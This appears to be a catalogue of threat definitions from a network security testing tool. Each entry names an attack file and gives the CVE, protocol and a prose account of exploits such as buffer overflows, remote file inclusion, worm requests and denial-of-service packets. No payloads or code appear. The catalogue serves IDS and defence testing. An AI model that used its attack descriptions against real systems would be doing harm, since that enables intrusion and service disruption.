Detailed Description:	This threat uses a specially crafted udp packet to exploit a flaw in the DNP3 protocol dissector for Wireshark causing an infinite loop, leading to a denial of service condition. This threat uses an arbitrary udp port. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2007-3390
Threat Package:	Standard

Threat File Name:	TSL20161213-20_Microsoft_Internet_Explorer_and_Edge_CVE-2016-7287_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-7287 Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability exists in Microsoft Internet Explorer and Edge. This vulnerability is due to improper objects access in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-7287
Threat File Name:	lupper5_IPv6.xml
Executive Description:	Lupper Worm 5 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	IMail_host_IPv6.xml
Executive Description:	IMail Webmail Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends a HTTP GET request with a host field of 600 bytes length. This causes the threads in IMail's webmail service to overwrite themselves, causing massive amounts of memory to be used. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0825
OSVDB:	395
Threat Package:	Standard
Threat File Name:	FSC20090429-03_Adobe_Reader_JavaScript_spell.customDictionaryOpen_Method_Memory_Corruption.xml
Executive Description:	Adobe Reader JavaScript spell.customDictionaryOpen Method Memory Corruption
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat on Linux/Unix platform. The vulnerability is due to insufficient input validation in the implementation of the customDictionaryOpen JavaScript method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1493
Threat Package:	Standard
Threat File Name:	loopbackPing.xml
Executive Description:	Loopback Ping
Detailed Description:	This threat sends a ping (same payload as Windows) with a source address of 127.0.0.1. This is normally picked up by IDS systems, and can cause problems on systems with a faulty network stack. A source IP of 127.0.0.1 should never be seen in the wild, and is indicative of a problem or attack. For more testing, the destination IP could be set to 127.0.0.1 as well as the source MAC being set to the same as the destination MAC address.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	mrtg_cfg_IPv6.xml
Executive Description:	MRTG Directory Traversal (IPv6 Version)
Detailed Description:	This threat uses a flaw in the MRTG bandwidth monitoring program to read arbitrary files off of the host system. This can be used by an attacker to read password files or source files of other parts of the webpage. MRTG is a web application, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0232
OSVDB:	823
Threat Package:	Standard
Threat File Name:	TSL20111005-01_Mozilla_Multiple_Products_Multiple_Location_Headers.xml
Executive Description:	Mozilla Multiple Products Multiple Location Headers
Detailed Description:	A vulnerability has been detected in Mozilla Firefox, Thunderbird and SeaMonkey. When multiple Location, Content-Type, Content-Length or Content-Disposition headers are present in an HTTP response, these Mozilla products use the last one, making them more susceptible to newline insertion attacks. An attacker may leverage this vulnerability in conjunction with a vulnerable web application to e.g. redirect target users to malicious URLs.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-3000
Threat File Name:	FSC20101101-06_ProFTPD_FTP_Server_TELNET_IAC_Stack_Buffer_Overflow.xml
Executive Description:	ProFTPD FTP Server TELNET_IAC Stack Buffer Overflow
Detailed Description:	ProFTPD FTP Server is vulnerable to a stack based buffer overflow. The vulnerability is due to insufficient validation when processing user input, if a TELNET_IAC escape sequence is received, the server will miscalculate the required length of a stack buffer. A remote attacker could exploit this vulnerability to execute arbitrary code in the security context of the FTP process or daemon. Unsuccessful attempts may terminate the FTP worker process unexpectedly. Since a separate worker process is spawned for each connection, a crash will not lead to any kind of denial of service condition.
Protocol Type:	FTP
CVEID:	CVE-2010-4221
Threat File Name:	FSC20110131-08_HP_OpenView_Performance_Insight_Server_Backdoor_Account_Code_Execution_IPv6.xml
Executive Description:	HP OpenView Performance Insight Server Backdoor Account Code Execution(IPv6 Version)

Detailed Description:	A code execution vulnerability exists in HP OpenView Performance Insight server. The vulnerability is due to the existence of a back door (a hidden account) within the com.trinagy.security.XMLUserManager Java class. Through this account an attacker can access the com.trinagy.servlet.HelpManagerServlet class defined within the piweb.jar file of the vulnerable product and use the doPost() method to upload malicious files to the server. Remote unauthenticated attackers can exploit this vulnerability by uploading malicious files to the server and execute arbitrary code with the privileges of the SYSTEM user via those files.
Protocol Type:	IPV6,HTTP
Threat File Name:	TSL20140603-15_Rocket_Servergraph_Admin_Center_fileRequestor_run_and_runClear_Command_Executions_IPv6.xml
Executive Description:	Rocket Servergraph Admin Center fileRequestor run and runClear Command Executions IPv6 version
Detailed Description:	Multiple vulnerabilities exist in Rocket Servergraph, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. These vulnerabilities are due to input validation errors when handling requests to the URIs fileRequestor. A remote unauthenticated attacker can exploit these vulnerabilities to achieve arbitrary command execution under the context of the SYSTEM user.
Protocol Type:	HTTP/HTTPS,IPV6
CVEID:	CVE-2014-3914
OSVDB:	107679
Threat File Name:	FSC20100810-14_Microsoft_Windows_Cinepak_Codec_Code_Execution.xml
Executive Description:	Microsoft Windows Cinepak Codec Code Execution
Detailed Description:	A remote code execution vulnerability exists in the Microsoft Windows Cinepak Codec. The vulnerability is caused by a improper handling of VIDC (Cinepak) streams within the iccvid.dll module. An attacker can exploit this vulnerability by enticing a target user to open a specially crafted AVI file. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2553
Threat Package:	Standard
Threat File Name:	apache_indexing_IPv6.xml
Executive Description:	Apache Directory Listing (IPv6 Version)
Detailed Description:	This threat attempts to cause the Apache webserver to provide a directory listing when it should display a default page. Apache is a webserver that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130312-03_Microsoft_Silverlight_Pointer_Dereference_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Silverlight Pointer Dereference Memory Corruption(IPV6 Version)
Detailed Description:	A pointer dereference vulnerability exists in Microsoft Silverlight. This vulnerability is due to insufficient verification of a pointer when rendering an HTML object. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the context of the currently logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged on user. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0074
OSVDB:	91147
Threat File Name:	TSL20170412-07_Adobe_Acrobat_and_Reader_JPEG2000_Parsing_Heap-based_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat and Reader JPEG2000 Parsing Heap-based Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow has been reported in the JPEG2000 component of Adobe Acrobat and Acrobat Reader. The vulnerability is due to improper processing embedded JPEG2000 images in PDF files. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted webpage or a maliciously crafted document. Successful exploitation of the vulnerability lead to remote code execution under the context of the user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPV6
CVEID:	CVE-2017-3055
Threat File Name:	TSL20150226-06_PHP_DateTimeZone_Object_timezone_Unserialize_Type_Confusion.xml
Executive Description:	PHP DateTimeZone Object timezone Unserialize Type Confusion.
Detailed Description:	A code execution vulnerability has been reported in PHP. The vulnerability is due to a type confusion error when handling serialized DateTimeZone objects within the unserialize() function. A remote attacker can exploit the vulnerability by sending crafted serialized data to a web application running a vulnerable version of PHP. A successful attack will result in remote code execution under the context of the service running PHP.
Protocol Type:	HTTP/HTTPS
Threat File Name:	ipv6_urg_flood.xml
Executive Description:	URG Flood IPv6
Detailed Description:	This threat is an IPv6 version of an URG flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	sophos_chunkheap_dos_IPv6.xml
Executive Description:	Sophos Antivirus CHM File Heap Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in Sophos Antivirus's handling of specially crafted CHM files resulting a denial-of-service condition. Sophos Antivirus is a client application. This attack uses a web server listening on port 80 for payload delivery. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5646
Threat Package:	Standard

Threat File Name:	FSC20050211-01_Microsoft_Windows_SMB_Response_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SMB Response Handling Buffer Overflow
Detailed Description:	There exists a vulnerability in the Microsoft Windows Server Message Block (SMB) client component. A specially crafted SMB server response of certain SMB commands can cause a buffer overflow condition in the affected product. A remote attacker exploiting the vulnerability can create a system denial of service or inject and execute code with system level privileges. Upon receiving a simple attack, the target Windows system enters blue-screen crash state. The system must be restarted to resume normal functionality. Data corruption might occur due to the exceptional system restart. In an attack that allows code execution, the target system's behaviour is entirely dependent on the intended purpose of the injected code. The code will execute with system privileges.
Protocol Type:	SMB
CVEID:	CVE-2005-0045
Threat Package:	Standard
Threat File Name:	ie_webviewfolder_bof_IPv6.xml
Executive Description:	Microsoft Internet Explorer WebViewFolderIcon Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious server reply that allows for a remote buffer overflow or DoS attack. This affects Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3730
OSVDB:	27110
Threat Package:	Standard
Threat File Name:	TSL20140909-15_Adobe_Flash_Player_and_AIR_String_Concatenation_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player and AIR String Concatenation Integer Overflow IPv6 version.
Detailed Description:	An integer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to an error while concatenating large strings. A remote attacker could exploit this vulnerability by enticing a user to open a webpage with a crafted flash content. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPV6
CVEID:	CVE-2014-0550
OSVDB:	111105
Threat File Name:	TSL20121026-01_CYME_Multiple_Products_ChartFX_ClientServer_Core_dll_Remote_Code_Execution.xml
Executive Description:	CYME Multiple Products ChartFX.ClientServer.Core.dll Remote Code Execution
Detailed Description:	A code execution vulnerability exists in CYME multiple products. The vulnerability is due to insufficient input validation while handling parameters to the ChartFX ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious web site. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS
OSVDB:	85894
Threat File Name:	FSC20090731-07_Firebird_SQL_op_connect_request_Denial_of_Service_IPv6.xml
Executive Description:	Firebird SQL op_connect_request Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in Firebird SQL. The vulnerability is due to the way that Firebird SQL handles op_connect_request requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted op_connect_request request to a vulnerable server. A successful attack would create a denial of service condition on the Firebird SQL service. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-2620
Threat Package:	Standard
Threat File Name:	FSC20081209-27_Microsoft_Internet_Explorer_ActiveX_Navigate_Handling_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer ActiveX Navigate Handling Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is specifically due to insufficient validation of ActiveX controls which leads to memory corruption. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the application would terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4258
Threat Package:	Standard
Threat File Name:	mercur2.xml
Executive Description:	Mercur Mail Server administrative Control Service Buffer Overflow
Detailed Description:	This threat sends a large packet to the administrative port of Mercur Mailserver, which can cause certain versions to crash. This threat could be also adjusted to make it execute code remotely. The administrative port typically listens on port 32000.
Protocol Type:	Proprietary
CVEID:	CVE-2000-0239
OSVDB:	10887
Threat Package:	Standard
Threat File Name:	cybuzu_dirtransversal_IPv6.xml
Executive Description:	Cybozu Share 360 Arbitrary File Retrieval Vulnerability (IPv6 Version)
Detailed Description:	This threat recreates a directory transversal attack against web servers running Cybuzu Software to return stored admin password information. Cybuzu Share is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	FSC20070927-14_OpenSSL_SSL_get_shared_ciphers_Function_Off-by-one_Buffer_Overflow.xml
Executive Description:	OpenSSL SSL_get_shared_ciphers Function Off-by-one Buffer Overflow
Detailed Description:	There exists an off-by-one buffer overflow vulnerability in the OpenSSL library. The flaw is due to an off-by-one buffer check error in function "SSL_get_shared_ciphers()" . A remote attacker may exploit this vulnerability by sending a crafted list of ciphers to the affected server or an application that uses this function to inject and execute arbitrary code on the target system.
Protocol Type:	TCP
CVEID:	CVE-2007-5135
Threat File Name:	TSL20120320-03_Adobe_Photoshop_TIFF_Parsing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Photoshop TIFF Parsing Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability has been discovered in Adobe Photoshop's handling of specially crafted TIFF files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted TIFF file with the affected application. Successful exploitation could result in arbitrary code execution in the context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
Threat File Name:	TSL20131212-06 EMC_CMCNE_inmservlets_war_csv_page_jsp_Information_Disclosure.xml
Executive Description:	EMC CMCNE inmservlets.war csv_page.jsp Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the csv_page.jsp page of inmservlets.war when processing HTTP requests By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6810
OSVDB:	101210
Threat File Name:	TSL20150204-02_ManageEngine_Multiple_Products_FailOverHelperServlet_copyfile_Information_Disclosure.xml
Executive Description:	ManageEngine Multiple Products FailOverHelperServlet copyfile Information Disclosure.
Detailed Description:	An information disclosure vulnerability exists in ManageEngine OpManager, Applications Manager and IT360. The vulnerability is due to lack of authentication and insufficient input validation of the a parameter sent to FailOverHelperServlet in HTTP requests. A remote unauthenticated attacker can leverage this vulnerability by sending malicious HTTP requests the server. Upon successful attack, the attacker can download arbitrary files from arbitrary locations on the server or perform a directory listing to disclose information.
Protocol Type:	HTTP
CVEID:	CVE-2014-7863
OSVDB:	117695
Threat File Name:	TSL20120823-04_Oracle_Outside_In_XPM_Image_Processing_Stack_Buffer_Overflow.xml
Executive Description:	Oracle Outside In XPM Image Processing Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats.The vulnerability exists when handling XPM image files. Oracle Outside-In is embedded in many enterprise applications.This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed XPM file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	suse_source_IPv6.xml
Executive Description:	Suse CGI Sourcecode Viewing (IPv6 Version)
Detailed Description:	This threat takes advantage of a default configuration flaw in SuSe's packaged webserver which allows a remote attacker to view the source code to any CGI script. This allows the attacker to glean useful information in order to determine the best way to attack the webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0868
OSVDB:	402
Threat Package:	Standard
Threat File Name:	longerIPLength.xml
Executive Description:	IP Incorrect Length Field
Detailed Description:	This threat sends an IP packet with an incorrect length field.
Protocol Type:	IP
Threat Package:	Standard
Threat File Name:	nimdall_IPv6.xml
Executive Description:	Nimda Request URL 11 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mynewsgroups_rfi_IPv6.xml
Executive Description:	MyNewsGroups Layersmenu.INC.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MyNewsGroups is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3966
Threat Package:	Standard
Threat File Name:	radiusSNMP.xml
Executive Description:	GNU SNMP RADIUS DoS
Detailed Description:	This threat attacks a flaw in GNU SNMP RADIUS. It sends an invalid SNMP packet destined for the GNU RADIUS server. This will cause a crash in certain versions.

Protocol Type:	SNMP, RADIUS
CVEID:	CVE-2004-0849
Threat Package:	Standard
Threat File Name:	TSL20150609-25_Microsoft_Internet_Explorer_CVE_2015-1752_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1752 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1752
Threat File Name:	imap_buffer_overflow_513.xml
Executive Description:	IMAP Buffer Overflow [513] Attack
Detailed Description:	This generic threat sends a long buffer [513 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	lupper17.xml
Executive Description:	Lupper Worm 17
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	dewizardX_activex_fileoverwrite.xml
Executive Description:	DB Software Laboratory DeWizardX (DEWizardAX.ocx) Remote Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in DeWizardX ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2725
Threat Package:	Standard
Threat File Name:	nimda12.xml
Executive Description:	Nimda Request URL 12
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20040511-02_Microsoft_HSC_URL_RemoteCodeExecution2.xml
Executive Description:	Microsoft HSC URL RemoteCodeExecution2
Detailed Description:	There is a vulnerability in the way the Microsoft Help and Support Center processes URL strings. The vulnerability could be exploited to download and execute malicious programs on a vulnerable system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0199
Threat Package:	Standard
Threat File Name:	FSC20080610-10_Microsoft_Windows_Active_Directory_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows Active Directory Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in Microsoft Windows Active Directory. The vulnerability is due to insufficient check during the processing of LDAP searchRequest. By sending crafted messages to a target server, an unauthenticated attacker may exploit this vulnerability to cause the affected system to stop responding, creating a denial of service condition. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2008-1445
Threat Package:	Standard
Threat File Name:	easychatserv_dos.xml
Executive Description:	Easy Chat Server Remote Denial of Service Vulnerability
Detailed Description:	This threat will crash a vulnerable Easy Chat Server via long user name and password parameters. Easy Chat Server is a web application typically found listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090929-04_SAP_GUI_WebViewer3D_ActiveX_Control_Arbitrary_File_Overwrite.xml
Executive Description:	SAP GUI WebViewer3D ActiveX Control Arbitrary File Overwrite
Detailed Description:	A file overwrite vulnerability exists in SAP GUI WebViewer3D ActiveX Control. The flaw is due to a design weakness in the control's methods SaveToSessionFile and SaveViewToSessionFile. A remote attacker could exploit this vulnerability via a specially crafted web page to create or modify arbitrary files on a target system. After successfully exploiting this vulnerability, a file on the target file system could be created, or overwritten. An attacker may write a file to the start up folder in order to execute arbitrary code during the next reboot or logon session or overwrite credential files on the system in order to gain access to the system. Thus, the behaviour of the target depends on the intention of the attacker.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	FSC20110208-30_Microsoft_Office_Visio_Object_Memory_Corruption.xml
Executive Description:	Microsoft Office Visio Object Memory Corruption

Detailed Description:	A code execution vulnerability exists in Microsoft Visio. The vulnerability is due to an error while validating objects in memory. A remote attacker can exploit this vulnerability by enticing a user to open a malicious file with an affected version of Microsoft Visio. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the target user. When code execution is not successful the affected application may terminate abnormally. Note: TELUS Security Labs team has not been able to reproduce this vulnerability during the contractual research period.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2011-0092
Threat File Name:	FSC20081113-08_VideoLAN_VLC_Media_Player_RealText_File_Buffer_Overflow.xml
Executive Description:	VideoLAN VLC Media Player RealText File Buffer Overflow
Detailed Description:	There exists a vulnerability in VideoLAN VLC Media Player. The vulnerability is caused due to a buffer overflow when playing a specially crafted RealText (.rt) subtitle file. An unauthenticated remote attacker could exploit this vulnerability by enticing a user to play a specially crafted RealText subtitle file. Successful exploitation would cause a stack buffer overflow allowing the attacker to execute arbitrary code with the privileges of the logged in users. In an attack case where code injection is not successful, VideoLAN VLC client application will terminate unexpectedly. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The affected application would also most likely stop functioning as a result of such an attack.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-5036
Threat Package:	Standard
Threat File Name:	citadel_ux_IPv6.xml
Executive Description:	Citadel/UX Remote Exploit (IPv6 Version)
Detailed Description:	This threat takes advantage of a buffer overflow in the Citadel/UX BBS system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1705
OSVDB:	8280
Threat Package:	Standard
Threat File Name:	nmapACK.xml
Executive Description:	nmap TCP ACK Ping
Detailed Description:	This threat sends out TCP ACK Probes in the same pattern as the nmap port scanner does to test if hosts are up or not.
Protocol Type:	TCP
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	novell_zenworks_heap_IPv6.xml
Executive Description:	Novell ZENworks Desktop Agent Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a heap overflow in the Novell ZENworks Desktop Agent. This can be used to gain remote access to the target's computer. Novell ZENworks typically listens on port 1761. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-1543
OSVDB:	16698
Threat Package:	Standard
Threat File Name:	FSC20091214-04_HP_OpenView_Network_Node_Manager_ovsessionmgr.exe_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovsessionmgr.exe Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in ovsessionmgr.exe when processing the 'userid' and 'passwd' parameters sent in an HTTP POST request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the SYSTEM user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4176
Threat Package:	Standard
Threat File Name:	x86NOOPudp2_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 2 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110915-01_Microsoft_Office_Excel_Conditional_Expression_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Excel Conditional Expression Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an error while parsing conditional expression information in Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2011-1989
Threat File Name:	TSL20130305-02_CoolPDF_Reader_Image_Stream_Processing_Buffer_Overflow.xml
Executive Description:	CoolPDF Reader Image Stream Processing Buffer Overflow

Detailed Description:	A code execution vulnerability has been reported in CoolPDF Reader. The vulnerability is due to insufficient validation of streams while processing PDF files. This can lead to a stack buffer overflow. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to download and process a specially crafted PDF file, which can lead to code execution in the context of the affected application. If code execution is unsuccessful, the application may terminate abnormally
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-4914
OSVDB:	89349
Threat File Name:	articlebeach_script_rfi.xml
Executive Description:	ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.ArticleBeach Script is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5590
Threat Package:	Standard
Threat File Name:	ms05-038_cmp_fencepost_IPv6.xml
Executive Description:	Internet Explorer JPEG Image Corruption cmp_fencepost.jpg (IPv6 Version)
Detailed Description:	This threat causes a crash in Internet Explorer. It is unknown as of yet whether or not this crash is exploitable. It is caused by the downloading of a malformed JPEG image from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	FSC20040930-01_Macromedia_JRun_4_mod_jrun_Buffer_Overflow_Vulnerability.xml
Executive Description:	Macromedia JRun 4 mod_jrun Buffer Overflow Vulnerability
Detailed Description:	There is a vulnerability in the way Macromedia JRun mod_jrun writes log messages in verbose mode. Specific, overly long headers can cause a buffer overflow. A remote attacker could leverage this vulnerability to perform arbitrary code execution on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0646
Threat Package:	Standard
Threat File Name:	FSC20060705-08_Microsoft_Windows_Explorer_Invalid_URL_File_Parsing_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Explorer Invalid URL File Parsing Stack Overflow (IPv6 Version)
Detailed Description:	There exists a stack exhaustion vulnerability in Microsoft Windows Explorer. The flaw is caused by the improper parsing of URL strings contained within a .url file. An attacker can exploit this vulnerability by enticing a user to open a crafted .url file, resulting in abnormal termination of the affected program. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	travelsized_cms_rfi_IPv6.xml
Executive Description:	Travelsized CMS Frontpage.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Travelsized CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060214-06_Microsoft_Windows_IGMP_v3_DoS_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows IGMP v3 DoS Vulnerability (IPv6 Version)
Detailed Description:	There is a denial of service vulnerability in the Microsoft Windows TCP/IP stack driver. The flaw is due to insufficient validation when processing Internet Group Management Protocol (IGMP) messages. An unauthenticated remote attacker can leverage this vulnerability to create a system wide denial of service condition on the target host. (IPv6 Version)
Protocol Type:	IGMP/IPv6
CVEID:	CVE-2006-0021
Threat Package:	Standard
Threat File Name:	phpartenaire_rfi.xml
Executive Description:	PHPPartenaire Dix.PHP3 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PHPPartenaire is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5032
Threat Package:	Standard
Threat File Name:	winamp_playlist_bof_IPv6.xml
Executive Description:	Nullsoft Winamp Playlist Handling Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious playlist which exploits a buffer overflow within winamps playlist handler. Nullsoft Winamp is an mp3/avi player and this threat is delivered via HTTP which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0476
OSVDB:	22789
Threat Package:	Standard
